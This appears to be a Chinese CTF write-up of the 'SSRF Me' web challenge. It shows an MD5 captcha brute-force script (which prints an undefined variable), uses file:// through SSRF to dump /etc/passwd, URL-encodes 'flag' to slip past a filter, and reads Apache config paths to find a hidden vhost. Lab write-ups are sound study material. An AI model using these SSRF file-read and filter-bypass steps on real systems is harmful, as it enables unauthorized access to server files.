

SSRF ME

今天开坑做ssrf

[上一题](#) [下一题](#) [随机一题](#)

题目名称-SSRF Me    

 

难度: 5 方向: Web 题解数: 6 解出人数: 1054

题目来源: [信通院](#)

题目描述: 无

题目场景: [获取在线场景](#)

题目已回答正确 

首先是哈希值计算碰撞最后六位，写了一个python脚本碰撞

```
import hashlib

for num in range(1145141919):
    num_str = str(num)
    num_hash = hashlib.md5(num_str.encode()).hexdigest()
    num_suffix = num_hash[-6:]

    if num_suffix == 'd2c1ce':
        print(captcha_str)
        break
```

根据提示的本地访问，首先通过file协议查看/etc/passwd

Visit URL

http://127.0.0.1:80/

Captcha: substr(md5(captcha), -6, 6) == "a26615" [reset](#)

Submit

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lpx:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucpx:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backupx:34:34:backup:/var/backups:/usr/sbin/nologin listx:38:38:Mail List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534:/nonexistent:/usr/sbin/nologin

接着查看一下flag文件，但是发现flag应该被过滤了

首先看一下url编码过滤问题flie:/// %66 %6c %61 %67



Visit URL

Captcha: substr(md5(captcha),-6,6)=='d2c1ce' reset

Submit

cyberpeace[3433159b0d9a44571bf67cdacfc18b6c]

在查看了官方的wp中，明白应该利用服务器部署文件查看过滤的内容，进行进一步提权

在apache的部署文件中，一般分为

```
/etc/apache2/apache2.conf、/etc/apache2/sites-enabled/000-default.conf
```

前者是Apache的全局配置文件。后者：sites-enabled这个目录包含了启用的虚拟主机配置文件的符号链接。在 Ubuntu 中，通过将虚拟主机配置文件的符号链接从 sites-available/ 目录复制到 sites-enabled/ 目录来启用虚拟主机。而sites-available这个目录包含了可用的虚拟主机配置文件。每个配置文件对应一个虚拟主机，用于定义不同域名或主机的网站配置。

查看到还有一个端口47852的虚拟主机，根目录为/var/www/htmlssrf12312，但是要进行bash盲注。